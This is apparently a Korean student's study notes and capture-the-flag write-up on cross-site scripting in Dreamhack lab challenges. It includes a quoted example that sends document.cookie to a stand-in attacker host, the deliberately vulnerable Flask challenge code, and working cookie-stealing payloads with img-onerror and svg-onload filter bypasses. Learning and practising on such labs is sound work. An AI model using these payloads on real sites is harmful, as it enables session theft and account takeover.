클라이언트 사이드 취약점
웹 리소스에 악성 스크립트 삽입 -> 이용자의 웹 브라우저에 해당 스크립트 실행시킴
특정 계정 쿠키 및 세션 정보 탈취 -> 정상적인 사용자의 계정으로 임의의 기능 수행 가능
★주로 이용자가 삽입한 내용을 출력하는 기능에서 발생
클라이언트가 HTTP 형식으로 웹 서버에 리소스 요청
서버로부터 받은 HTML, CSS, JS 등의 웹 리소스를 시각화한 후 이용자에게 보여줌
HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회하면 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있음
대표적인 태그 : <script>
<script>
alert("hello"); //hello 문자열 alert 실행
document.cookie; //document.cookie: 현재 페이지의 쿠키(return type은 string)
alert(document.cookie); //현재 페이지의 쿠키를 인자로 가진 alert 실행
document.cookie = "name=test;"; //쿠키 생성(key: name, value: test)
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie; //new Image(): 이미지 생성 함수, src:이미지 주소 지정
//공격자의 주소로 현재 페이지의 쿠키 요청
</script>
<script>
document;
// 이용자의 페이지 접근 후 데이터 삽입
document.write("Hacked By DreamHack !");
</script>
<script>
// 이용자 위치 변경
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
서버의 데이터 베이스나 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생
게시물과 댓글에 악성 스크립트를 포함해 업로드-> 불특정 다수에게 보여짐->높은 파급력
서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
게시판 서비스에서 작성된 게시물을 조회하기 위해 검색창에서 스크립트를 포함해 검색->
서버에서 검색 결과를 이용자에게 반환할 때, 검색 문자열에 악성 스크립트가 포함되어 있으면 발생가능
이용자의 요청에 의해 발생->타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야함
문제 정보
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
이건 vuln(xss) page에 들어갔을 때 인데

url에 script 태그가 존재한다.
이건 memo 페이지에 들어갔을 때

들어갈 때마다 hello가 적혀있는 모습을 볼 수 있다.
마지막으로 flag에 들어가면

vuln(xss)페이지와 유사한 url을 제출할 수 있다.
이제 코드를 살펴보자.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
@app.route("/")인 경우
render_template("index.html")
render_template(""): 파일을 불러와줌
그러니까 index.html을 보여줌
@app.route("/vuln")인 경우
request.args.get("param", ""): 첫번째 인자로 param을 넘겨주면 딕셔너리에 있는 첫번째 value 얻음, param에 해당하는 value가 없으면 None 반환
@app.route("/flag", methods=["GET", "POST"])인 경우
request.method가 get이면 flag.html을 보여주고
request.method가 post라면 check_xss 함수 호출 후 vuln으로 이동
@app.route("/memo")인 경우
request.args.get을 통해 memo를 받아와서 render_template로 출력해준다
flag 페이지를 통해 memo장에 flag를 출력시켜줄 수 있을 듯 하다.
스크립트 예제처럼
new Image()를 통해 이미지 객체를 생성해주고 src를 통해 이미지의 주소를 지정해준다.
이미지의 주소는 "http://127.0.0.1:8000/memo?memo="이렇게 설정해주고,
document.cookie를 통해 현재 cookie 값을 탈취했다.
<script>new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie;</script>
이러고 memo장에 들어가보면 flag가 적혀있다!
render_template 함수는 XSS 발생을 막아준다 (왜?전달된 템플릿 변수 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문)
이전 문제와 유사하지만 조금 다르다
우선 vuln(xss) page에 들어가면 uri에 alert(1)이 있음에도 불구하고 경고창이 뜨지 않는다.
http://host3.dreamhack.games:20194/vuln?param=alert(1)
로 했을 때, alert(1)이 출력되는 것을 봐서 script 태그가 막히는 듯 하다.
이를 대체할 만한 무언가가 필요하다.
그리고
http://host3.dreamhack.games:20194/vuln?param=%3Cscript%3Ealert(1)%3C/script%3E
<는 %3C로, >는 %3E로 바꿔져 있는 것을 봐서 URL 인코딩이 되어있었다.
또, 코드는 바뀐 것만 살펴보면
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
vuln 페이지가 render_template()로 return 하기에 xss를 막는거 정도?가 있었다.
script 태그를 사용하지 않고 우회해서 공격하는 것이 필요해보인다.
xss 우회 기법을 검색해보면
1. svg onload
2. img src="링크" onerror ""
등이 있다
이 기법을 한번 쫙 정리해놓아야겠다.
어쨋든 다시 돌아와서 svg onload를 통해서 alert(1)이 실행되는지 확인해보니까

잘된다. 2번 역시 됐다. 이것들을 활용해서 문제를 풀어내면 될 것 같다.
근데 자꾸 안되서 왜그러지 왜그러지 하다가 알게된 게 따옴표 ........
//내가 실패한 거
<img src="" onerror=new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie>
<svg onload=new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie>
//이건 성공한거
<img src="" onerror="new Image().src='http://127.0.0.1:8000/memo?memo='+document.cookie">
<svg onload="new Image().src='http://127.0.0.1:8000/memo?memo='+document.cookie">
차이가 보이시나몬롤
구문에 대해 잘 이해하지 못한 것이 이 문제를 푸는데 시간이 오래 걸렸던 이유같다.
<img src="잘못된 링크" onerror="안에는 내가 수행하고 싶은 동작"> 꼭 따옴표 붙여주기!!!
<svg onload="내가 수행하고 싶은 동작">
꼭 기억하자
그리고 new Image().src를 대체할 수 있는게 location.href()
둘에 대해서 더 자세히 봐보면
new Image().src="링크"+document.cookie는 이미지 객체 생성 후, 그 이미지에 링크를 연결하고 (여기서는 /memo에!) 현재의 cookie가 출력되게 된다.
location.href()="링크"+document.cookie는 자바스크립트에서 페이지를 이동할 수 있게 도와주며 링크로 이동해서 현재의 cookie를 출력하게 된다.